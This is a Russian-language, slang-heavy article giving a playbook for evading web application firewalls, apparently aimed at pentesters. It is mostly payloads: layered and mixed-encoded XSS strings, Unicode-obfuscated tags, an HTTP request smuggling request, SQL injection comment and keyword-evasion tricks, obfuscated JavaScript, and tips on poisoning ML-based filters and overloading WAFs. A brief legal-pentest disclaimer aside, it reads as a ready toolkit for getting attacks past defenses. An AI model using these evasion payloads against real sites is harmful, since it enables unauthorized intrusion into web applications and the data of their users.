Вступление
Современные Web Application Firewalls (WAF) с каждым днём становятся всё хитрее и изворотливее. Стандартные приёмы уже не прокатывают – файрволы от Cloudflare, AWS, Imperva и других вендоров давно научились палить классические шаблоны атак. В этой статье я расскажу, как можно обойти продвинутые WAF и не спалиться. Само собой, всё это — строго для легальных пентестов!
Прощупываем WAF до костей
Прежде чем пытаться что-то ломать, надо понять, с каким зверем имеем дело. Большинство файрволов работают примерно так:
- Шарят сигнатуры (как антивир)
- Используют эвристику (типа "это подозрительно похоже на XSS")
- Мониторят поведение (если делаешь кучу странных запросов)
- Ищут аномалии (всё, что выбивается из нормы)
Сначала проводим пассивную разведку — определяем тип WAF с помощью тулз вроде wafw00f или просто по заголовкам ответов. Потом переходим к активному зондированию — шлём "полубезопасные" запросы, которые могут вызвать реакцию WAF, но не настолько палевные, чтобы триггернуть IDS.
Полиморфные пейлоады — меняем шкуру на ходу
Фишка полиморфных запросов в том, чтобы постоянно менять "форму" вашего пейлоада, но оставлять его работоспособным. Вот несколько приёмчиков:
1. Кодируем в несколько слоёв
Простое URL-кодирование уже не катит. Используем многослойку:
```
Обычный пейлоад: <script>alert(1)</script>
Одинарное URL-кодирование: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
Двойное URL-кодирование: %253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
```
Многие WAF декодят запрос только один раз и профукивают второй слой кодирования.
2. Мешаем разные кодировки в кучу
Бахаем коктейль из разных способов кодирования в одном запросе:
```
HTML-кодирование + HEX + URL-кодирование:
%26%23x3c%3Bscript%26%23x3e%3Balert%26%23x28%3B1%26%23x29%3B%26%23x3c%3B%2Fscript%26%23x3e%3B
```
3. Юникод-жесть
WAF часто тупят при обработке Unicode:
```
Юзаем похожие Unicode-символы:
<𝓈𝒸𝓇𝒾𝓅𝓉>alert(1)</𝓈𝒸𝓇𝒾𝓅𝓉>
```
Хачим через особенности HTTP
Фрагментация HTTP — режем запросы на кусочки
Многие WAF пытаются анализировать каждый HTTP-запрос целиком, не догоняя, что запросы можно фрагментировать. Юзаем HTTP Request Smuggling, шлём порезанные запросы, которые склеиваются уже после WAF:
```
POST /vulnerable_endpoint HTTP/1.1
Host: target.com
Content-Length: 35
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
```
Игры с HTTP-методами
Некоторые WAF жёстко фильтруют POST и GET, но забивают на нестандартные методы. Пробуем:
```
PATCH /endpoint HTTP/1.1
```
или даже такую дичь:
```
JEFF /endpoint HTTP/1.1
```
Сервера часто игнорят странный метод и обрабатывают его как обычный GET.
SQL-инъекции в обход WAF
Хитрые комментарии и пробелы
Вместо обычных пробелов юзаем альтернативные разделители:
```sql
SELECT/**/id,name/**/FROM/**/users
```
Или более хардкорные варианты:
```sql
SELECT/*!50000id*/,/*!50000name*/FROM/*!50000users*/
```
Математические финты для логических операций
Вместо стандартных AND/OR городим математику:
```sql
# Вместо AND (1=1)
AND (9*9-81+1)
# Вместо OR 1=1
OR (3^3-7) >= (3^3-8)
```
Обходим фильтрацию ключевых слов
```sql
# Вместо UNION SELECT
UNION ALL SELECT
# Вместо прямого вызова функции
CONCAT(CHAR(83),CHAR(69),CHAR(76),CHAR(69),CHAR(67),CHAR(84))
```
Атакуем мозги WAF
"Отравление" логов - учим WAF пропускать нас
Большинство файрволов используют какое-то подобие машинного обучения. Можно намеренно заспамить WAF кучей ложных срабатываний, чтобы он начал пропускать определенные запросы.
1. Шлём тонну безопасных запросов, похожих на вредоносные
2. Постепенно увеличиваем "палевность" запросов
3. Продолжаем, пока WAF не начнёт забивать на наши пейлоады
Таймтриксы
WAF часто используют эвристику, которая жрёт разное время на анализ разных запросов. Используем это:
1. Отправляем запрос и меряем время ответа
2. Чуть меняем запрос и снова смотрим на время
3. Большая разница во времени = WAF что-то там делает с запросом
Охотимся на DOM-XSS в обход WAF
Рваные скрипты
```javascript
// Вместо
location="javascript:alert(1)"
// Пишем
location="javas"+"cript:ale"+"rt(1)"
```
Хачим через прототипы
```javascript
// Ищем непрофильтрованные инпуты с JSON.parse
<script>
Object.prototype.__defineSetter__('id', function(x){alert(1)});
</script>
```
Криптуем JS до неузнаваемости
```javascript
// Вместо обычного alert
\u0061\u006c\u0065\u0072\u0074(1)
// Или вообще дичь с вычислениями
([][[]]+[])[+!![]]+([]+{})[!+[]+!![]]
```
Лайфхаки.
1. Заведите свою библиотеку обходов — документируйте каждый успешный взлом WAF, это золото для следующих пентестов
2. Автоматизируйте генерацию пейлоадов — напишите скрипты для создания уникальных полиморфных пейлоадов под каждый таргет
3. Миксуйте техники — часто одна техника не работает, а сразу три вместе пробивают любую защиту
4. Дебажьте клиентский код — многие WAF юзают JS-обертки, анализ которых может показать дыры
5. Играйте с нагрузкой — WAF иногда таймаутят на сложных запросах и могут пропустить их при большой нагрузке